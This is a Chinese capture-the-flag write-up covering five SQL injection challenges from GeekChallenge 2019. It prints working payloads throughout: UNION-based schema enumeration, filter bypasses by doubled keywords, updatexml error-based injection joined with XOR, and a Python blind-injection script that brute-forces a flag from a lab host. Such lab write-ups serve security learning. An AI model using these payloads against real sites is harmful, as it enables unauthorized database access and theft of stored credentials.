极客大挑战2019 - SQLI
极客大挑战2019 - SQLI
0x00 题目描述
极客大挑战2019的sql注入系列一共有5个题目,感觉非常有意思啊,就好像自己化身为了一名黑客
0x01 EasySQL
这题没什么好说的,万能密码一试就成功了
网站做的确实非常精湛!!
0x02 LoveSQL
用上面的万能密码登录进去后,没有flag,而是给出了一串密码,让人不禁联想到sql查询。在加上登录界面的提示,可以判断flag应该在数据库的某个地方
接下来在输入用户名处拼接常规的sql注入语句就行了,payload可以参考
#爆出所有库名
?id=0 union select 1,group_concat(distinct table_schema) from information_schema.columns
#爆出数据库news的所有表名
?id=0 union select 1,group_concat(distinct table_name) from information_schema.columns where table_schema = 'news'
#爆出表admin的所有列
?id=0 union select 1,group_concat(distinct column_name) from information_schema.columns where table_name = 'admin'
#查username和password,中间用:隔开
?id=0 union select 1,group_concat(username,0x3a,password) from admin
0x03 BabySQL
这题应该才是我真正想写的一题。这题确实和登录界面说的一样,和之前的不同,做了严格的过滤。(2333
稍微看仔细点,就能发现很多关键单词比如or、where、select等都被替换为空了。解决的方法很简单,因为这道题只替换了一次,所以可以在一个单词里再写一个这个单词,比如把or写成oorr,就可以绕过这个“严格”的过滤了
查当前库名
1' ununionion seselectlect 1,2,database()#
爆出所有表
1' ununionion seselectlect 1,2,group_concat(distinct table_name) frfromom infoorrmation_schema.columns whwhereere table_schema = 'geek'#
爆出所有列
1' ununionion seselectlect 1,2,group_concat(distinct column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'b4bsql'#
爆字段
1' ununionion seselectlect 1,2,group_concat(id,0x3a,username,0x3a,passwoorrd) frofromm b4bsql#
0x04 HardSQL
一开始先简单测试一下,发现过滤了空格,而且怎么绕都绕不过去,然后去网上找wp发现是报错注入。值得注意的是这里用到了一个还没见过的新操作,用’^’来连接updatexml函数,结合了异或
查当前数据库名
admin'^updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
查表名
admin'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1)#
查列名
admin'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1)#
最后这里查flag内容的时候,由于updtexml最多显示32的长度,导致flag显示不全。然后用substr截取一下,发现substr被过滤了,于是上网找了另一种操作,用left和right截取函数分两次得到了完整的flag
admin'^updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1)#
admin'^updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1)#
0x05 FinalSQL
这道题和之前的题不太一样,可以看到给出了5个紫色的选项,分别对应着5个不同的id,但是这几个id都没什么用
试着在用户名和密码处进行注入,但是发现用户名和密码处有严格的过滤,大部分SQL注入的关键词都被过滤了
然后尝试在上面的那几个id处进行注入,发现空格也被过滤了,和上面的hardsql一样绕不过去,那么用上面hardsql的报错注入语句试试
发现有东西被过滤了,测试了一下发现被过滤的是0x7e,把它改成~反而绕过了过滤,然后再试试
然而可能是界面处理的比较好,并没有报错出什么有用的信息。主界面有个小提示,出现了SQL盲注的字样,那么来尝试一下盲注吧
结合异或注入的小技巧,构造id=1^1^1, 返回id=1的结果
id=1^0^1,返回id=0的结果(注意是三个感叹号)
那么构造 id = 1^(length(database())>3)^1,返回的是id=1的结果,即(length(database())>3) = 1,是真的,说明当前数据库的长度大于3
根据这个原理,构造id=1^(ascii(substr((select(database())),1,1))>100)^1, 不停的改变100那里的数值,即可判断出当前数据库的第一个字符是什么
然后可以借助burpsuite的intruder模块,试出数据库名,表名等。也可以写python脚本,如果数据太长的话,不写脚本是很慢的。这里给出最后已经查出了表名(F1naI1y,而且根据前几题sql题知道放flag的列都是password)之后查flag的脚本
import requests
url = "http://c1e6b438-7a2c-47fd-9473-96e47707df3a.node3.buuoj.cn/search.php"
for i in range(1,180):
for j in range(1,128):
d = "?id=1^(ascii(substr((select(group_concat(distinct(password)))from(F1naI1y)),'"+str(i)+"',1))='"+str(j)+"')^1"
r = requests.get(url+d)
if 'Click' in r.text:
print(chr(j),end='')